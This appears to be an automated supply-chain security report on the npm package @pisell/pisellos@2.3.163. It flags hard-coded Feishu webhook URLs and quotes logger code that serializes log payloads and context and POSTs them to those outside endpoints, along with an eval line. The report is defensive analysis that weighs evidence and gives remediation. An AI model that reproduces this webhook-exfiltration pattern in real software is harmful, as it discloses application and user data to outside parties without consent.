@pisell/pisellos@2.3.163
一个可扩展的前端模块化SDK框架，支持插件系统
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe inspected source establishes an active outbound data disclosure path: the package installs hard-coded default webhooks and posts log records containing caller-provided fields to them. This supports blocking as data exfiltration; the manifest’s publish-only build hook does not mitigate the runtime behavior.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review
Trigger
Initializing ScanOrder and generating a titled log record when the logger is available.
Impact
Business or other application data placed in log payloads and context can be disclosed to the webhook recipient.
Mechanism
The logger serializes record fields into a message and posts it to the configured Feishu webhook; the package supplies the default webhook values.
Attack narrative
When ScanOrder initializes, it selects the Feishu logger by default and supplies hard-coded webhook destinations. Titled records are converted into messages containing payload, extra fields, and context, then sent by POST to the webhook. This creates a package-controlled outbound path for application data included in logs.
AI rationale
The inspected source establishes an active outbound data disclosure path: the package installs hard-coded default webhooks and posts log records containing caller-provided fields to them. This supports blocking as data exfiltration; the manifest’s publish-only build hook does not mitigate the runtime behavior.
Evidence
dist/solution/ScanOrder/index.jslib/modules/ScanOrderLogger/index.jslib/modules/ScanOrderLogger/providers/feishu.js
Network endpoints2
open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7edopen.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- `ScanOrder` selects Feishu by default and installs hard-coded webhook destinations.
- The logger forwards records containing caller-supplied payload and extra fields to its provider.
- The Feishu provider serializes log content and POSTs it to the configured webhook.
- The provider sends queued records to its webhook without destination validation.
Evidence against
- The manifest has a `prepublishOnly` build hook rather than an automatic install hook.
- The package exposes a logging feature, but the default webhook is embedded in package code.
Behavioral surface
EnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcedist/plugins/window.jsView file
•matchType = normalized_sha256
matchedPackage = @pisell/pisellos@0.10.61
matchedPath = dist/plugins/window.js
matchedIdentity = npm:QHBpc2VsbC9waXNlbGxvcw:0.10.61
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/plugins/window.jsView on unpkg248} else {
L249: eval(handler);
L250: }
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/plugins/window.jsView on unpkg · L248dist/solution/ScanOrder/index.jsView file
•Default hardcoded logging webhook in dist/solution/ScanOrder/index.js:
this.store.scanOrderLogger.setProviderConfig(((_this$otherParams5 = this.otherParams) === null || _this$otherParams5 === void 0 ? void 0 : _this$otherParams5.scanOrderLoggerConfig)...
webhook: 'https://open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7ed',
errorHook: 'https://open.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f'
Rich runtime records posted to the webhook in [redacted].js:
var context = record.context || {};
text: "\u65E5\u5FD7\u5185\u5BB9: ".concat(safeStringify(record.payload), "\n")
text: "\u6269\u5C55\u4FE1\u606F: ".concat(safeStringify(record.extra), "\n")
return fetch(webhook, {
Reachable runtime logger calls in dist/modules/Order/index.js:
this.logger.addL
Findings
1 Critical3 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationdist/solution/ScanOrder/index.js
HighSemantic Analysis Limitedlib/solution/RegisterAndLogin/utils.js#virtual:normalized:round1
HighKnown Malware Source Similaritydist/plugins/window.js
HighAi Review Evidencedist/solution/ScanOrder/index.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/plugins/window.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @pisell/pisellos@2.3.163.
See all versions of @pisell/pisellos for other recorded verdicts.
- Avoid installing @pisell/pisellos@2.3.163. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.